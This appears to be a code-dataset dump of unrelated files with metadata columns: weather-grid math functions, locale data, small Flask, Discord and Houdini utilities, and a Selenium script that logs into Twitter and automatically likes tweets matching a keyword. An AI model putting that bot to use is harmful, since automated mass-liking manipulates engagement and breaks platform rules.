VECN ( S1, S2 ) = [ S1, S2 ]
</div>
"""
return makeTrueVector(S1,S2)
def vecr(S1,S2):
""" Make a vector from two components
<div class=jython>
VECR ( S1, S2 ) = [ S1, S2 ]
</div>
"""
return makeVector(S1,S2)
def vlav(V,level1,level2, unit=None):
""" calculate the vector layer average
<div class=jython>
VLDF(V) = [(u(level1) - u(level2))/2,
(v(level1) - v(level2))/2]
</div>
"""
return layerAverage(V, level1, level2, unit)
def vldf(V,level1,level2, unit=None):
""" calculate the vector layer difference
<div class=jython>
VLDF(V) = [u(level1) - u(level2),
v(level1) - v(level2)]
</div>
"""
return layerDiff(V,level1,level2, unit)
def vmul(V1,V2):
""" Multiply the components of 2 vectors
<div class=jython>
VMUL (V1, V2) = [ u1*u2, v1*v2 ]
</div>
"""
return mul(V1,V2)
def vquo(V1,V2):
""" Divide the components of 2 vectors
<div class=jython>
VQUO (V1, V2) = [ u1/u2, v1/v2 ]
</div>
"""
return quo(V1,V2)
def vsub(V1,V2):
""" subtract the components of 2 vectors
<div class=jython>
VSUB (V1, V2) = [ u1-u2, v1-v2 ]
</div>
"""
return sub(V1,V2)
def LPIndex(u, v, z, t, top, bottom, unit):
""" calculate the wind shear between discrete layers
<div class=jython>
LP = 7.268DUDZ + 0.718DTDN + 0.318DUDN - 2.52
</div>
"""
Z = windShear(u, v, z, top, bottom, unit)*7.268
uwind = getSliceAtLevel(u, top)
vwind = getSliceAtLevel(v, top)
temp = newUnit(getSliceAtLevel(t, top), "temperature", "celsius")
HT = sqrt(ddx(temp)*ddx(temp) + ddy(temp)*ddy(temp))*0.718
HU = (ddx(vwind) + ddy(uwind))*0.318
L = add(noUnit(Z), add(noUnit(HU), noUnit(HT)))
L = (L - 2.520)*(-0.59)
P= 1.0/(1.0 + GridMath.applyFunctionOverGridsExt(L,"exp"))
LP = setLevel(P ,top, unit)
return LP
def EllrodIndex(u, v, z, top, bottom, unit):
""" calculate the wind shear between discrete layers
<div class=jython>
EI = VWS X ( DEF + DIV)
</div>
"""
VWS = windShear(u, v, z, top, bottom, unit)*100.0
#
uwind = getSliceAtLevel(u, top)
vwind = getSliceAtLevel(v, top)
DIV = (ddx(uwind) + ddy(vwind))* (-1.0)
#
DSH = ddx(vwind) + ddy(uwind)
DST = ddx(uwind) - ddy(vwind)
DEF = sqrt(DSH * DSH + DST * DST)
EI = mul(noUnit(VWS), add(noUnit(DEF), noUnit(DIV)))
return setLevel(EI, top, unit)
| 26.75461
| 89
| 0.584721
| 2,684
| 18,862
| 4.100596
| 0.152385
| 0.044339
| 0.077594
| 0.018808
| 0.494821
| 0.429675
| 0.404052
| 0.350809
| 0.320462
| 0.276576
| 0
| 0.024786
| 0.264182
| 18,862
| 704
| 90
| 26.792614
| 0.768211
| 0.590658
| 0
| 0.078431
| 0
| 0
| 0.012306
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.382353
| false
| 0
| 0
| 0
| 0.77451
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5effb4acc4b4904be8e5099e47cd060230843fe
| 2,376
|
py
|
Python
|
app.py
|
DevilBit/Twitter-Bot
|
6f1b285aeb5faf37906d575775a927e69a5321d6
|
[
"MIT"
] | null | null | null |
app.py
|
DevilBit/Twitter-Bot
|
6f1b285aeb5faf37906d575775a927e69a5321d6
|
[
"MIT"
] | null | null | null |
app.py
|
DevilBit/Twitter-Bot
|
6f1b285aeb5faf37906d575775a927e69a5321d6
|
[
"MIT"
] | 1
|
2021-03-08T20:05:23.000Z
|
2021-03-08T20:05:23.000Z
|
from selenium import webdriver #to get the browser
from selenium.webdriver.common.keys import Keys #to send key to browser
import getpass #to get password safely
import time #to pause the program
#a calss to store all twetter related objects and functions
class twitter_bot:
def __init__(self, username, password):
self.username = username
self.password = password
self.bot = webdriver.Firefox()
#login function
def login(self):
bot = self.bot
bot.get('https://twitter.com/login')
#sleep to wait for the browser to get the website
time.sleep(3)
email = bot.find_element_by_class_name('js-username-field') #get the email field
password = bot.find_element_by_class_name('js-password-field') #get the password field
#clear the email and password field just in case of autofill
email.clear()
password.clear()
#fill in email field
email.send_keys(self.username)
time.sleep(2)
#fill in password field
password.send_keys(self.password)
time.sleep(2)
#click the login button
bot.find_element_by_class_name("EdgeButtom--medium").click()
time.sleep(3)
def like_tweet(self, search):
bot = self.bot
#use keyword to search
bot.get('https://twitter.com/search?q=' + search + '&src=typd')
bot.implicitly_wait(3)
#get posts
for i in range(0, 30):
bot.execute_script('window.scrollTo(0, document.body.scrollHeight)')
time.sleep(10)
tweets = bot.find_elements_by_class_name('tweet')
links = [element.get_attribute('data-permalink-path') for element in tweets]
#like posts
for link in links:
bot.get('https://twitter.com/' + link)
try:
bot.find_element_by_class_name('HeartAnimation').click()
time.sleep(10)
except Exception as ex:
time.sleep(60)
if __name__ == '__main__':
username = input('Email: ')
password = getpass.getpass('Password: ')
search = input('Please enter keyword: ')
user = twitter_bot(username, password)
user.login()
time.sleep(10)
user.like_tweet(search)
| 34.941176
| 95
| 0.603114
| 295
| 2,376
| 4.718644
| 0.359322
| 0.051724
| 0.039511
| 0.045977
| 0.119971
| 0.074713
| 0.038793
| 0
| 0
| 0
| 0
| 0.010241
| 0.301347
| 2,376
| 67
| 96
| 35.462687
| 0.828313
| 0.170875
| 0
| 0.191489
| 0
| 0
| 0.140964
| 0.014308
| 0
| 0
| 0
| 0
| 0
| 1
| 0.06383
| false
| 0.170213
| 0.085106
| 0
| 0.170213
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
d5fb061a3a4378d9720ff3a451d5983678f6ed08
| 2,712
|
py
|
Python
|
venv/lib/python3.8/site-packages/dateparser/data/date_translation_data/ebu.py
|
yuta-komura/vishnu
|
67173b674d5f4f3be189474103612447ef69ab44
|
[
"MIT"
] | 1
|
2021-11-17T04:55:14.000Z
|
2021-11-17T04:55:14.000Z
|
dateparser/data/date_translation_data/ebu.py
|
cool-RR/dateparser
|
c38336df521cc57d947dc2c9111539a72f801652
|
[
"BSD-3-Clause"
] | null | null | null |
dateparser/data/date_translation_data/ebu.py
|
cool-RR/dateparser
|
c38336df521cc57d947dc2c9111539a72f801652
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
info = {
"name": "ebu",
"date_order": "DMY",
"january": [
"mweri wa mbere",
"mbe"
],
"february": [
"mweri wa kaĩri",
"kai"
],
"march": [
"mweri wa kathatũ",
"kat"
],
"april": [
"mweri wa kana",
"kan"
],
"may": [
"mweri wa gatano",
"gat"
],
"june": [
"mweri wa gatantatũ",
"gan"
],
"july": [
"mweri wa mũgwanja",
"mug"
],
"august": [
"mweri wa kanana",
"knn"
],
"september": [
"mweri wa kenda",
"ken"
],
"october": [
"mweri wa ikũmi",
"iku"
],
"november": [
"mweri wa ikũmi na ũmwe",
"imw"
],
"december": [
"mweri wa ikũmi na kaĩrĩ",
"igi"
],
"monday": [
"njumatatu",
"tat"
],
"tuesday": [
"njumaine",
"ine"
],
"wednesday": [
"njumatano",
"tan"
],
"thursday": [
"aramithi",
"arm"
],
"friday": [
"njumaa",
"maa"
],
"saturday": [
"njumamothii",
"nmm"
],
"sunday": [
"kiumia",
"kma"
],
"am": [
"ki"
],
"pm": [
"ut"
],
"year": [
"mwaka"
],
"month": [
"mweri"
],
"week": [
"kiumia"
],
"day": [
"mũthenya"
],
"hour": [
"ithaa"
],
"minute": [
"ndagĩka"
],
"second": [
"sekondi"
],
"relative-type": {
"1 year ago": [
"last year"
],
"0 year ago": [
"this year"
],
"in 1 year": [
"next year"
],
"1 month ago": [
"last month"
],
"0 month ago": [
"this month"
],
"in 1 month": [
"next month"
],
"1 week ago": [
"last week"
],
"0 week ago": [
"this week"
],
"in 1 week": [
"next week"
],
"1 day ago": [
"ĩgoro"
],
"0 day ago": [
"ũmũnthĩ"
],
"in 1 day": [
"rũciũ"
],
"0 hour ago": [
"this hour"
],
"0 minute ago": [
"this minute"
],
"0 second ago": [
"now"
]
},
"locale_specific": {},
"skip": [
" ",
".",
",",
";",
"-",
"/",
"'",
"|",
"@",
"[",
"]",
"，"
]
}
| 15.859649
| 34
| 0.289823
| 188
| 2,712
| 4.170213
| 0.537234
| 0.107143
| 0.045918
| 0.035714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.012559
| 0.530236
| 2,712
| 170
| 35
| 15.952941
| 0.602826
| 0.007743
| 0
| 0.248521
| 0
| 0
| 0.31759
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5fcff660972d9337742f70ae81e7f0f26eaadac
| 310
|
py
|
Python
|
setup.py
|
martinfarrow/awspk
|
c3b5f8ede44ca96473b95f52ddb2291a45828565
|
[
"MIT"
] | null | null | null |
setup.py
|
martinfarrow/awspk
|
c3b5f8ede44ca96473b95f52ddb2291a45828565
|
[
"MIT"
] | null | null | null |
setup.py
|
martinfarrow/awspk
|
c3b5f8ede44ca96473b95f52ddb2291a45828565
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
from setuptools import setup, find_packages
setup(name='awspk',
version='0.1',
description='A aws cli pen knife with loads of interested stuff',
author='Martin Farrow',
author_email='[email protected]',
py_modules=['awspk'],
license='LICENSE',
)
| 23.846154
| 71
| 0.651613
| 40
| 310
| 4.975
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.012346
| 0.216129
| 310
| 12
| 72
| 25.833333
| 0.806584
| 0.067742
| 0
| 0
| 0
| 0
| 0.34375
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.111111
| 0
| 0.111111
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
911891456d9e7cb41632224dd81128e9e0fa9e6b
| 2,776
|
py
|
Python
|
observations/r/bomsoi.py
|
hajime9652/observations
|
2c8b1ac31025938cb17762e540f2f592e302d5de
|
[
"Apache-2.0"
] | 199
|
2017-07-24T01:34:27.000Z
|
2022-01-29T00:50:55.000Z
|
observations/r/bomsoi.py
|
hajime9652/observations
|
2c8b1ac31025938cb17762e540f2f592e302d5de
|
[
"Apache-2.0"
] | 46
|
2017-09-05T19:27:20.000Z
|
2019-01-07T09:47:26.000Z
|
observations/r/bomsoi.py
|
hajime9652/observations
|
2c8b1ac31025938cb17762e540f2f592e302d5de
|
[
"Apache-2.0"
] | 45
|
2017-07-26T00:10:44.000Z
|
2022-03-16T20:44:59.000Z
|
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import csv
import numpy as np
import os
import sys
from observations.util import maybe_download_and_extract
def bomsoi(path):
"""Southern Oscillation Index Data
The Southern Oscillation Index (SOI) is the difference in barometric
pressure at sea level between Tahiti and Darwin. Annual SOI and
Australian rainfall data, for the years 1900-2001, are given.
Australia's annual mean rainfall is an area-weighted average of the
total annual precipitation at approximately 370 rainfall stations around
the country.
This data frame contains the following columns:
Year
a numeric vector
Jan
average January SOI values for each year
Feb
average February SOI values for each year
Mar
average March SOI values for each year
Apr
average April SOI values for each year
May
average May SOI values for each year
Jun
average June SOI values for each year
Jul
average July SOI values for each year
Aug
average August SOI values for each year
Sep
average September SOI values for each year
Oct
average October SOI values for each year
Nov
average November SOI values for each year
Dec
average December SOI values for each year
SOI
a numeric vector consisting of average annual SOI values
avrain
a numeric vector consisting of a weighted average annual rainfall at
a large number of Australian sites
NTrain
Northern Territory rain
northRain
north rain
seRain
southeast rain
eastRain
east rain
southRain
south rain
swRain
southwest rain
Australian Bureau of Meteorology web pages:
http://www.bom.gov.au/climate/change/rain02.txt and
http://www.bom.gov.au/climate/current/soihtm1.shtml
Args:
path: str.
Path to directory which either stores file or otherwise file will
be downloaded and extracted there.
Filename is `bomsoi.csv`.
Returns:
Tuple of np.ndarray `x_train` with 106 rows and 21 columns and
dictionary `metadata` of column headers (feature names).
"""
import pandas as pd
path = os.path.expanduser(path)
filename = 'bomsoi.csv'
if not os.path.exists(os.path.join(path, filename)):
url = 'http://dustintran.com/data/r/DAAG/bomsoi.csv'
maybe_download_and_extract(path, url,
save_file_name='bomsoi.csv',
resume=False)
data = pd.read_csv(os.path.join(path, filename), index_col=0,
parse_dates=True)
x_train = data.values
metadata = {'columns': data.columns}
return x_train, metadata
| 22.942149
| 74
| 0.699207
| 390
| 2,776
| 4.905128
| 0.484615
| 0.06116
| 0.075274
| 0.100366
| 0.198641
| 0.023001
| 0
| 0
| 0
| 0
| 0
| 0.01013
| 0.253242
| 2,776
| 120
| 75
| 23.133333
| 0.912687
| 0.67255
| 0
| 0
| 0
| 0
| 0.09126
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.045455
| false
| 0
| 0.409091
| 0
| 0.5
| 0.045455
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
9118ae0e8ce4a6964c33407d1f9bb269a5f81229
| 948
|
py
|
Python
|
openpype/hosts/houdini/plugins/publish/validate_bypass.py
|
dangerstudios/OpenPype
|
10ddcc4699137888616eec57cd7fac9648189714
|
[
"MIT"
] | null | null | null |
openpype/hosts/houdini/plugins/publish/validate_bypass.py
|
dangerstudios/OpenPype
|
10ddcc4699137888616eec57cd7fac9648189714
|
[
"MIT"
] | null | null | null |
openpype/hosts/houdini/plugins/publish/validate_bypass.py
|
dangerstudios/OpenPype
|
10ddcc4699137888616eec57cd7fac9648189714
|
[
"MIT"
] | null | null | null |
import pyblish.api
import openpype.api
class ValidateBypassed(pyblish.api.InstancePlugin):
"""Validate all primitives build hierarchy from attribute when enabled.
The name of the attribute must exist on the prims and have the same name
as Build Hierarchy from Attribute's `Path Attribute` value on the Alembic
ROP node whenever Build Hierarchy from Attribute is enabled.
"""
order = openpype.api.ValidateContentsOrder - 0.1
families = ["*"]
hosts = ["houdini"]
label = "Validate ROP Bypass"
def process(self, instance):
invalid = self.get_invalid(instance)
if invalid:
rop = invalid[0]
raise RuntimeError(
"ROP node %s is set to bypass, publishing cannot continue.." %
rop.path()
)
@classmethod
def get_invalid(cls, instance):
rop = instance[0]
if rop.isBypassed():
return [rop]
| 27.085714
| 78
| 0.632911
| 111
| 948
| 5.387387
| 0.558559
| 0.070234
| 0.090301
| 0.135452
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005926
| 0.287975
| 948
| 34
| 79
| 27.882353
| 0.88
| 0.292194
| 0
| 0
| 0
| 0
| 0.131376
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1
| false
| 0.2
| 0.1
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
9119b7e105152a68ddb6c7704cd3d58179e633e6
| 4,687
|
py
|
Python
|
gavPrj/dataset_core.py
|
GavinK-ai/cv
|
6dd11b2100c40aca281508c3821c807ef0ee227d
|
[
"MIT"
] | 1
|
2021-11-15T06:16:44.000Z
|
2021-11-15T06:16:44.000Z
|
gavPrj/dataset_core.py
|
JKai96/cv
|
6dd11b2100c40aca281508c3821c807ef0ee227d
|
[
"MIT"
] | null | null | null |
gavPrj/dataset_core.py
|
JKai96/cv
|
6dd11b2100c40aca281508c3821c807ef0ee227d
|
[
"MIT"
] | null | null | null |
import os
import cv2 as cv
import matplotlib.pyplot as plt
import numpy as np
#srcPaths = ('dataset/Screenshot1','dataset/Screenshot2','dataset/Screenshot3', 'dataset/Screenshot4')
#srcPaths = ('all_dataset/s1',
# 'all_dataset/s10',
# 'all_dataset/s11',
# 'all_dataset/s12',
# 'all_dataset/s13',
# 'all_dataset/s14',
# 'all_dataset/s15',
# 'all_dataset/s16',
# 'all_dataset/s17',
# 'all_dataset/s18',
# 'all_dataset/s19',
# 'all_dataset/s2',
# 'all_dataset/s20',
# 'all_dataset/s21',
# 'all_dataset/s22',
# 'all_dataset/s23',
# 'all_dataset/s24',
# 'all_dataset/s25',
# 'all_dataset/s26',
# 'all_dataset/s27',
# 'all_dataset/s28',
# 'all_dataset/s29',
# 'all_dataset/s3',
# 'all_dataset/s30',
# 'all_dataset/s31',
# 'all_dataset/s32',
# 'all_dataset/s33',
# 'all_dataset/s34',
# 'all_dataset/s35',
# 'all_dataset/s36',
# 'all_dataset/s37',
# 'all_dataset/s38',
# 'all_dataset/s39',
# 'all_dataset/s4',
# 'all_dataset/s40',
# 'all_dataset/s41',
# 'all_dataset/s42',
# 'all_dataset/s43',
# 'all_dataset/s44',
# 'all_dataset/s45',
# 'all_dataset/s46',
# 'all_dataset/s47',
# 'all_dataset/s48',
# 'all_dataset/s49',
# 'all_dataset/s5',
# 'all_dataset/s50',
# 'all_dataset/s51',
# 'all_dataset/s52',
# 'all_dataset/s53',
# 'all_dataset/s54',
# 'all_dataset/s55',
# 'all_dataset/s56',
# 'all_dataset/s57',
# 'all_dataset/s58',
# 'all_dataset/s59',
# 'all_dataset/s6',
# 'all_dataset/s60',
# 'all_dataset/s61',
# 'all_dataset/s62',
# 'all_dataset/s63',
# 'all_dataset/s7',
# 'all_dataset/s8',
# 'all_dataset/s9')
srcPaths = ('testdataset/t1','testdataset/t2')
datasetfilename = 'testdataset1.npz'
def create_dataset(datasetfilename, srcPaths, classNames):
imgList = []
labelList = []
labelNameList = []
for srcPath in srcPaths:
# append all files in srcPath dir into imgList and labelList
for fname in os.listdir(srcPath):
filePath = os.path.join(srcPath, fname)
img = cv.imread(filePath)
# spilt the last text in file name to save as label
fname_no_ext = os.path.splitext(fname)[0]
# label = fname_no_ext[-1]
label = fname_no_ext
imgList.append(img)
labelList.append(classNames[label])
labelNameList.append(label)
# convert to imgList to numpy
images = np.array(imgList, dtype='object')
labels = np.array(labelList, dtype='object')
labelnames = np.array(labelNameList)
# save converted images and labels into compressed numpy zip file
np.savez_compressed(datasetfilename, images=images, labels=labels, labelnames=labelnames)
return True
def displayImg():
# for fname in os.listdir(srcPath):
pass
if __name__ == '__main__':
# save a dataset in numpy compressed format
# datasetfilename = 'tiredataset.npz'
classNames = {'afiq':0, 'azureen':1, 'gavin':2, 'goke':3, 'inamul':4, 'jincheng':5, 'mahmuda':6, 'numan':7, 'saseendran':8}
if create_dataset(datasetfilename, srcPaths, classNames):
data = np.load(datasetfilename, allow_pickle=True)
imgList = data['images']
labelList = data['labels']
labelNameList = data['labelnames']
img = imgList[0]
label = labelList[0]
labelNameList = data['labelnames']
imgRGB = img[:, :, ::-1]
plt.imshow(imgRGB)
plt.title(label)
plt.show()
print(imgList.shape)
print(labelList.shape)
# imgList, labelList = create_dataset()
# img = imgList[0]
# label = labelList[0]
# imgRGB = img[:, :, ::-1]
# plt.imshow(imgRGB)
# plt.title(label)
# plt.show()
# img = imgList[1]
# label = labelList[1]
# imgRGB = img[:, :, ::-1]
# plt.imshow(imgRGB)
# plt.title(label)
# plt.show()
# img = imgList[3]
# label = labelList[3]
# imgRGB = img[:, :, ::-1]
# plt.imshow(imgRGB)
# plt.title(label)
# plt.show()
| 26.331461
| 128
| 0.528056
| 486
| 4,687
| 4.923868
| 0.343621
| 0.263268
| 0.016715
| 0.02173
| 0.165483
| 0.127037
| 0.083577
| 0.083577
| 0.083577
| 0.083577
| 0
| 0.047299
| 0.332409
| 4,687
| 177
| 129
| 26.480226
| 0.717482
| 0.427992
| 0
| 0.047619
| 0
| 0
| 0.058687
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.047619
| false
| 0.02381
| 0.095238
| 0
| 0.166667
| 0.047619
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
9127b9612983c8643c1eb5911a7a12880ad76607
| 803
|
py
|
Python
|
web13/jsonapi.py
|
gongjunhuang/web
|
9412f6fd7c223174fdb30f4d7a8b61a8e130e329
|
[
"Apache-2.0"
] | null | null | null |
web13/jsonapi.py
|
gongjunhuang/web
|
9412f6fd7c223174fdb30f4d7a8b61a8e130e329
|
[
"Apache-2.0"
] | null | null | null |
web13/jsonapi.py
|
gongjunhuang/web
|
9412f6fd7c223174fdb30f4d7a8b61a8e130e329
|
[
"Apache-2.0"
] | null | null | null |
from flask import Flask, redirect, url_for, jsonify, request
app = Flask(__name__)
users = []
'''
Json api
请求form里面Json 返回Json
好处：
1.通信的格式统一，对语言的约束就小了
2.易于做成open api
3.客户端重度渲染
RESTful api
Dr. Fielding
url 用资源来组织的 名词
/GET /players 拿到所有玩家
/GET /player/id 访问id的玩家的数据
/PUT /players 全量更新
/PATCH /players 部分更新
/DELETE /player/id 删除一个玩家
/GET /player/id/level
'''
@app.route("/", methods=["GET"])
def index():
return'''<form method=post action='/add'>
<input type=text name=author>
<button>提交</button>
</form>
'''
@app.route("/add", methods=["POST"])
def add():
form = request.form
users.append(dict(author=form.get("author", "")))
return redirect(url_for(".index"))
@app.route("/json")
def json():
return jsonify(users)
app.run()
| 16.387755
| 60
| 0.636364
| 107
| 803
| 4.719626
| 0.560748
| 0.047525
| 0.055446
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004658
| 0.198007
| 803
| 49
| 61
| 16.387755
| 0.779503
| 0
| 0
| 0
| 0
| 0
| 0.268245
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.157895
| false
| 0
| 0.052632
| 0.105263
| 0.315789
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 1
|
912a168bff4536c4b4657348252f51f09a3dbc8c
| 1,776
|
py
|
Python
|
MoMMI/Modules/ss14_nudges.py
|
T6751/MoMMI
|
4b9dd0d49c6e2bd82b82a4893fc35475d4e39e9a
|
[
"MIT"
] | 18
|
2016-08-06T17:31:59.000Z
|
2021-12-24T13:08:02.000Z
|
MoMMI/Modules/ss14_nudges.py
|
T6751/MoMMI
|
4b9dd0d49c6e2bd82b82a4893fc35475d4e39e9a
|
[
"MIT"
] | 29
|
2016-08-07T14:03:00.000Z
|
2022-01-23T21:05:33.000Z
|
MoMMI/Modules/ss14_nudges.py
|
T6751/MoMMI
|
4b9dd0d49c6e2bd82b82a4893fc35475d4e39e9a
|
[
"MIT"
] | 25
|
2016-08-08T12:56:02.000Z
|
2022-02-09T07:17:51.000Z
|
import logging
from typing import Match, Any, Dict
import aiohttp
from discord import Message
from MoMMI import comm_event, command, MChannel, always_command
logger = logging.getLogger(__name__)
@comm_event("ss14")
async def ss14_nudge(channel: MChannel, message: Any, meta: str) -> None:
try:
config: Dict[str, Any] = channel.module_config(f"ss14.servers.{meta}")
except ValueError:
return
expect_password = config["password"]
if expect_password != message.get("password"):
return
if "type" not in message or "contents" not in message:
return
contents = message["contents"]
type = message["type"]
if type == "ooc":
final_message = f"\u200B**OOC**: `{contents['sender']}`: {contents['contents']}"
else:
return
await channel.send(final_message)
@always_command("ss14_relay", unsafe=True)
async def ss14_relay(channel: MChannel, match: Match, message: Message) -> None:
if not channel.internal_name:
return
content = message.content
content = content.strip()
if not content or content[0] == "\u200B":
return
server = None
config: Any
for config in channel.server_config("modules.ss14", []):
if config["discord_channel"] != channel.internal_name:
continue
server = config["server"]
if not server:
return
config = channel.module_config(f"ss14.servers.{server}")
password = config["password"]
url = config["api_url"] + "/ooc"
async with aiohttp.ClientSession() as session:
async with session.post(url, json={"password": password, "sender": message.author.name, "contents": content}) as resp:
r = await resp.text()
logger.error(f"{resp.status}")
| 27.75
| 126
| 0.649212
| 214
| 1,776
| 5.285047
| 0.35514
| 0.013263
| 0.02122
| 0.035367
| 0.054819
| 0.054819
| 0
| 0
| 0
| 0
| 0
| 0.015284
| 0.226351
| 1,776
| 63
| 127
| 28.190476
| 0.80786
| 0
| 0
| 0.148936
| 0
| 0
| 0.141329
| 0.037162
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.085106
| 0.106383
| 0
| 0.255319
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
912c1f2c9b394208b14b4781f1f67d739e19f340
| 539
|
py
|
Python
|
spoon/models/groupmembership.py
|
mikeboers/Spoon
|
9fe4a06be7c2c6c307b79e72893e32f2006de4ea
|
[
"BSD-3-Clause"
] | 4
|
2017-11-05T02:54:39.000Z
|
2022-03-01T06:01:20.000Z
|
spoon/models/groupmembership.py
|
mikeboers/Spoon
|
9fe4a06be7c2c6c307b79e72893e32f2006de4ea
|
[
"BSD-3-Clause"
] | null | null | null |
spoon/models/groupmembership.py
|
mikeboers/Spoon
|
9fe4a06be7c2c6c307b79e72893e32f2006de4ea
|
[
"BSD-3-Clause"
] | null | null | null |
import sqlalchemy as sa
from ..core import db
class GroupMembership(db.Model):
__tablename__ = 'group_memberships'
__table_args__ = dict(
autoload=True,
extend_existing=True,
)
user = db.relationship('Account',
foreign_keys='GroupMembership.user_id',
backref=db.backref('groups', cascade="all, delete-orphan"),
)
group = db.relationship('Account',
foreign_keys='GroupMembership.group_id',
backref=db.backref('members', cascade="all, delete-orphan"),
)
| 22.458333
| 68
| 0.651206
| 57
| 539
| 5.894737
| 0.578947
| 0.083333
| 0.125
| 0.166667
| 0.279762
| 0.279762
| 0
| 0
| 0
| 0
| 0
| 0
| 0.226345
| 539
| 23
| 69
| 23.434783
| 0.805755
| 0
| 0
| 0
| 0
| 0
| 0.236059
| 0.087361
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 0.4375
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
912dd1c1fee777c8a3a588b4ebb22c1cb4588df4
| 1,790
|
py
|
Python
|
data/cache/test/test_cache.py
|
dongboyan77/quay
|
8018e5bd80f17e6d855b58b7d5f2792d92675905
|
[
"Apache-2.0"
] | 1
|
2020-10-16T19:30:41.000Z
|
2020-10-16T19:30:41.000Z
|
data/cache/test/test_cache.py
|
dongboyan77/quay
|
8018e5bd80f17e6d855b58b7d5f2792d92675905
|
[
"Apache-2.0"
] | 15
|
2020-06-18T15:32:06.000Z
|
2022-03-03T23:06:24.000Z
|
data/cache/test/test_cache.py
|
dongboyan77/quay
|
8018e5bd80f17e6d855b58b7d5f2792d92675905
|
[
"Apache-2.0"
] | null | null | null |
import pytest
from mock import patch
from data.cache import InMemoryDataModelCache, NoopDataModelCache, MemcachedModelCache
from data.cache.cache_key import CacheKey
class MockClient(object):
def __init__(self, server, **kwargs):
self.data = {}
def get(self, key, default=None):
return self.data.get(key, default)
def set(self, key, value, expire=None):
self.data[key] = value
@pytest.mark.parametrize("cache_type", [(NoopDataModelCache), (InMemoryDataModelCache),])
def test_caching(cache_type):
key = CacheKey("foo", "60m")
cache = cache_type()
# Perform two retrievals, and make sure both return.
assert cache.retrieve(key, lambda: {"a": 1234}) == {"a": 1234}
assert cache.retrieve(key, lambda: {"a": 1234}) == {"a": 1234}
def test_memcache():
key = CacheKey("foo", "60m")
with patch("data.cache.impl.Client", MockClient):
cache = MemcachedModelCache(("127.0.0.1", "-1"))
assert cache.retrieve(key, lambda: {"a": 1234}) == {"a": 1234}
assert cache.retrieve(key, lambda: {"a": 1234}) == {"a": 1234}
def test_memcache_should_cache():
key = CacheKey("foo", None)
def sc(value):
return value["a"] != 1234
with patch("data.cache.impl.Client", MockClient):
